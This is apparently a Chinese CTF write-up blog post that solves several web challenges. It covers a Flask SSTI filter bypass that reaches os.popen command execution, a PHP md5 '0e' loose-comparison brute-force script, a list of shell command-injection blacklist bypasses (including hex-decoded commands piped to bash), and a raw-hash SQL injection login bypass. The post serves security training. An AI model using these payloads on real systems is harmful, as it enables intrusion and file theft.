Author:颖奇L’Amore

Blog:www.gem-love.com


EasyFlask

404页面存在flask ssti,过滤了._

  • 对于过滤点,可以用中括号括起来或者用attr()getattr()绕过
  • 对于过滤下划线,可以用request['arg']绕过,后来glotozz师傅告诉还可用dir(0)[0][0]绕过

就是有很多payload都会让服务器500,很无语,比如:

  • __mro__会500,要用__base__
  • __subclasses__()[40]('/etc/passwd').read()会500

后来imagin师傅给了一个,命令执行:

http://183.129.189.60:10000/{{()|attr(request['args']['x1'])|attr(request['args']['x2'])|attr(request['args']['x3'])()|attr(request['args']['x4'])(233)|attr(request['args']['x5'])|attr(request['args']['x6'])|attr(request['args']['x4'])(request['args']['x7'])|attr(request['args']['x4'])(request['args']['x8'])(request['args']['x9'])}}?x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('想要执行的命令').read()

ls /之后发现存在start.sh,然后cat start.sh就行了


web2 hash

掘安杯web7原题,wp:

https://xz.aliyun.com/t/4741#toc-7

刚有位师傅私聊了我一下讨论这个题,我就再补充一下这个题的wp

原题目和本题目存在一点不同,在后面那个$str8 $str9

原题:

if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6)) 
{
    echo "a OR b fail!";
    die();
}
if ((strlen($m) > 4) || (strlen($n) > 4)) 
{
    echo "m OR n fail";
    die();
}
$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);
echo "<p>str8 : $str8</p>";
echo "<p>str9 : $str9</p>";
if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
{
    echo "You're great,give you flag:";
    echo $flag;
}

本题:

if (!(ctype_alnum($a)) || (strlen($a) > 5) || !(ctype_alnum($b)) || (strlen($b) > 6)) {
    echo "a OR b fail!";
    die();
}

if ((strlen($m) > 1) || (strlen($n) > 1)) {
    echo "m OR n fail";
    die();
}

$val8 = md5($a);
$val9 = strtr(md5($b), $m, $n);

echo PHP_EOL;
echo "<p>val8 : $val8</p>";
echo PHP_EOL;
echo "<p>val9 : $val9</p>";
echo PHP_EOL;
if (($val8 == $val9) && !($a === $b) && (strlen($b) === 5)) {
    echo "nice,good job,give you flag:";
    echo file_get_contents('./flag.php');
}

原题那个我就不说了,直接去看原题的wp就好。这里判断$val8==$val9不是强等于,依然使用0e开头的md5绕过;虽然这题对$a的长度也做了限制,但是验证$a的函数也变成了ctype_alnum(),该函数检查提供的字符串是否全部为字母和(或)数字字符,也就是说$a可以是纯数字或者纯字母或者数字字母组合:

这就好办了,写脚本爆破就行:

'''
Author: 颖奇L'Amore
Blog: www.gem-love.com
本文永久链接: https://www.gem-love.com/ctf/1799.html
'''
import hashlib
def findA():
	alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
	for a in alphabet:
		for b in alphabet:
			for c in alphabet:
				for d in alphabet:
					for e in alphabet:
						payload = (a+b+c+d+e).encode()
						md5 = hashlib.md5(payload)
						value = md5.hexdigest()
						pre = value[0:2]
						last = value[2:32]
						if pre == '0e' and last.isdigit():
							print('successful A found!! {} \'s md5={}'.format(payload, value))
							return
def findB():
	alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
	for a in alphabet:
		for b in alphabet:
			for c in alphabet:
				for d in alphabet:
					for e in alphabet:
						payload = (a+b+c+d+e).encode()
						md5 = hashlib.md5(payload)
						value = md5.hexdigest()
						pre = value[1:2]
						last = value[2:32]
						if  pre == 'e' and last.isdigit():
							print('successful B found! {} \'s md5={}'.format(payload, value))
							return

if __name__ == '__main__':
	findA()
	findB()

$a$b一块爆破了,运行结果:

现在解释这个$b的问题,只要爆破一个?e(问号表示任意字符)开头、后面是纯数字的就可以了,因为有个strtr()函数进行字符串替换:

$val9 = strtr(md5($b), $m, $n);

比如这个脚本跑出来的b是7e开头,只需要用这个函数将7换成0,7e开头就变成0e开头了,就可以两个md5比较成功了。这个点的payload:

GET: m=7&n=0
POST: a=byGcY&b=aegsO

commix

ps:这个题很多人打开是白屏。本来是个命令执行的窗口,后来被人日穿了所以没了,导致很多人无从下手。其实非常弱智,我已经把index.php源码扒下来了,flag就在相同目录下的flag.php里,简单的文件读取

弱智题,命令执行,源码:

<html>
<body>
<h3>This is the command practice</h3>  
<form action="index.php" method="post">
<input value="" name='cmd'>
<input type="submit" value="Submit" />
</form>

<?php
$cmd=$_POST['cmd'];
$blacklist="cat|\/|cd|flag|curl|{|\(|'|\"|echo|\\\\|&|grep|base64";
$arr=explode('|',$blacklist);
foreach ($arr as $key => $value) {
	#var_dump($value);
	if (preg_match("/$value/i", $cmd)) {
	exit('hacker~~~');
	}
}
system($cmd);

?>
</html>

解法太多了,比如拼接变量,比如用*,等等;

能替代cat读文件的命令也太多了

Linux下查看文件内容的常见命令 https://blog.csdn.net/x7418520/article/details/81064861

关于命令注入中常用的一些绕过姿势,比如特定关键字绕过等,以及我payload中的`ls`,请参考:

简析GXY_CTF “Ping Ping Ping”命令执行

这些都在我本机搭的环境上亲测可用的payload:

1.内联执行+文件读取类

  • more `ls` (比赛时候用的这个)
  • tail `ls`
  • less `ls`
  • head `ls`
  • tac `ls` 
  • rev `ls` | rev

2.拼接绕过关键字限制类

  • a=cho;e$a 63617420666C61672E706870|xxd -r -p|bash (63617420666C61672E706870是cat flag.php的hex)
  • a=at;c$a `ls` (命令拼接)
  • a=at;b=ag;c$a fl$b.php
  • a=at;c$a fl*
  • a=at;c$a fl[abc]g.php

解法太多了…还可尝试反弹shell等,我没测试,有成功的dalao欢迎留言告诉我


Web4

一个师傅赛后发给我的,codegate2013的原题,wp:

原文链接:https://www.blue-lotus.net/codegate2013-web100-writeup/

一个登陆页面,需要以admin登录。
核心代码如下

<?php
$ps = mysql_real_escape_string($ps);
$ps = hash("whirlpool",$ps, true);
$result = mysql_query("select * from users where user_id='$id' and user_ps='$ps'");
?>

可以注意到hash函数的第三个参数为true,使得hash函数返回的是二进制串。任何字符都可能出现在字符串内。
如果'='出现在hash后的字符串内可能导致注入。

原理是当这个字符串带入查询后,查询串为where user_ps='XXXX'='YYY'

  • 第一步运算 user_ps='XXXX'得到一个int值。由于不相等应该等于0.
  • 第二步运算 int值与字符串比较,会把字符串转换为int,转换结果也等于0。

这绕过了密码检验。

可以使用admin/364383登录这个系统。

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/1799.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

分类: CTF

颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image